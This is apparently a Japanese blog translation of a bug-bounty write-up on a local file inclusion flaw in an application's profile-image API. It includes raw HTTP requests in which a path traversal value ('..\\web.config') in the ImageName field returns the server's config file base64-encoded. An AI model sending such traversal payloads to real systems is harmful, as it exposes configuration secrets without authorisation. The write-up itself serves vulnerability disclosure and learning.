Shikata Ga Nai

Private? There is no such things.

Local File Inclusion (interesting method)を訳してみた

Hello there, ('ω')ノ

 

ローカル ファイル インクルージョン (興味深い方法)を。

 

脆弱性:

 LFI

 

記事:

 https://captainhoook.medium.com/local-file-inclusion-interesting-method-8263c2cb7cd2

 

今回は、BC(Bugcloud)のプログラムで見つけたLFI の脆弱性を共有することに。

LFI とは何かは下記で。

 

https://medium.com/@Aptive/local-file-inclusion-lfi-web-application-penetration-testing-cc9dc8dd3601


シナリオ:

バイナリからアプリケーションをインストールした後。

インスタンスは localhost:8020 で到達可能で。

ダッシュボード セクションに飛び込むと。

アバターのファイル アップロード機能が表示されて。

 

悪意のあるものをアップロードするためにいくつかの。

ファイルアップロードシナリオを試しましたが、それらはすべてうまくいかず。

しばらくすると、リクエストの中にテストすべき興味深いものが見つかって。

アバターを設定するための Post リクエストは次のようなもので。

 

POST /api/Profile/Image HTTP/1.1
Host: localhost:8020
Content-Length: 17889
Accept: application/json
Authorization: Bearer [TOKEN]
Content-Disposition:   form-data; name=""
User-Agent:   Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like   Gecko) Chrome/87.0.4280.88 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhIvKtR8BjTn08lDp
Origin: http://localhost:8010
Referer: http://localhost:8010/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,fa;q=0.8,de;q=0.7
Connection: close------WebKitFormBoundaryhIvKtR8BjTn08lDpContent-Disposition: form-data; name="uploadFile";   filename="20201179525SECURITYADMIN.jpg"
Content-Type:   image/jpegÿØÿà.....

 

このリクエストを投稿した直後に、アップロードされた画像を見つけるために。

別のリクエストが送信されて。

 

POST /api/Profile/Profile HTTP/1.1
Host: localhost:8020
Content-Length: 86
Access-Control-Allow-Origin: *
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like   Gecko) Chrome/87.0.4280.88 Safari/537.36
Origin: http://localhost:8010
Referer: http://localhost:8010/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,fa;q=0.8,de;q=0.7
Connection: close{"UserId":"SECURITYADMIN","ImageName":"YOUR_IMAGE_UNIQUE_NAME"}

 

上記のリクエストの ImageName は、テスト対象のパラメータで。

ImageName の値を無効なものに変更すると。

これは、画像を開いたときに発生して。

 

 

この動作は、ディレクトリにそのようなファイルまたはイメージがないことを。

示していて。

では、有効なパスを ImageName パラメータに渡すとどうなるか。

この場合、アプリケーションの動作は 2つの動作に分けられて。

 

A) この URI を持つページは unsafe:data:image/jpeg:base64,.. と表示されて。

  (これは、ファイルまたはパスが無効であるか、存在しないことを意味して)

 

B) この URI を持つページは data:image/jpeg:base64,… と表示されて。

 (これは黒いページで、このようなもので)

 

 

この動作は、ファイルまたはパスが存在し、画像フェッチャーが。

ファイルのコンテンツを Base64 に変換し。

URI スキームに配置したことを示していて。

たとえば、アプリケーションの web.config を取得するには、下記のとおりで。

 

POST /api/Profile/Profile HTTP/1.1
Host: localhost:8020
Content-Length: 86
Access-Control-Allow-Origin: *
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like   Gecko) Chrome/87.0.4280.88 Safari/537.36
Origin: http://localhost:8010
Referer: http://localhost:8010/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,fa;q=0.8,de;q=0.7
Connection: close{"UserId":"TN2","ImageName":"..\\web.config"}

 

この要求に対する応答は、前述の B の動作のようなもので。

次に、base64 URI スキームのデコードを開始すると、次のようになって。

web.config の内容がデコードされ、有効で。

 

 

Best regards, (^^ゞ